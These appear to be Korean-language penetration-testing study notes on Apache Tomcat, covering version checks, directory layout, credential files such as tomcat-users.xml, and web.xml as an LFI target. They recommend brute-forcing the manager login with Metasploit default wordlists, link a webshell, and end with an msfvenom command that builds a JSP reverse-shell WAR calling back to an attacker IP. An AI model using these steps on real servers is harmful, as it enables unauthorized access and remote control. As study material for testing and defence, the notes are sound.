Apache Tomcat
- Tomcat: Java로 작성된 애플리케이션 호스팅 오픈소스 웹서버
- Spring, Gradle같은 Java 기반 프레임워크에서 쓰임
Version Check
404페이지 확인/docs페이지 확인
Directory structure
├── bin # Tomcat 실행 스크립트 및 바이너리 저장
├── conf # Tomcat 관련 config 저장
│ ├── catalina.policy
│ ├── catalina.properties
│ ├── context.xml
│ ├── tomcat-users.xml # 사용자 자격증명 및 역할 저장
│ ├── tomcat-users.xsd
│ └── web.xml
├── lib # Tomcat 동작에 필요한 여러 JAR 파일들 저장
├── logs # 임시 로그 파일
├── temp # 임시 로그 파일
├── webapps # 기본 웹 루트
│ ├── manager
│ │ ├── images
│ │ ├── META-INF
│ │ └── WEB-INF
| | └── web.xml
│ └── ROOT
│ └── WEB-INF
└── work # 캐시 파일 저장
└── Catalina
└── localhosttomcat-users.xml:manager / host-manager관리 페이지에 대한 접근 권한 및 계정 크리덴셜 저장
Webapps/customapp directory:
webapps/customapp
├── images
├── index.jsp
├── META-INF
│ └── context.xml
├── status.xsd
└── WEB-INF
├── jsp
| └── admin.jsp
└── web.xml
└── lib
| └── jdbc_drivers.jar
└── classes # 애플리케이션에서 사용하는 컴파일된 클래스
└── AdminServlet.classweb.xml: 애플리케이션에서 사용하는 경로 및 클래스에 대한 정보 저장. LFI 취약점을 활용할 때 확인해야 할 파일
Login Brute Force
ffuf가 아닌, for문으로 한번에 하나씩 시도해야 하는듯. (curl, python 스크립트 등..) 활용 가능 워드리스트:
# Username
/usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt
# PASSWORD
/usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt관리자 계정을 획득하면, 웹쉘을 업로드하거나 리버스쉘 war를 업로드할 수 있다
# WebShell
https://github.com/p0dalirius/Tomcat-webshell-application
# msfvenom
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f war > rev.war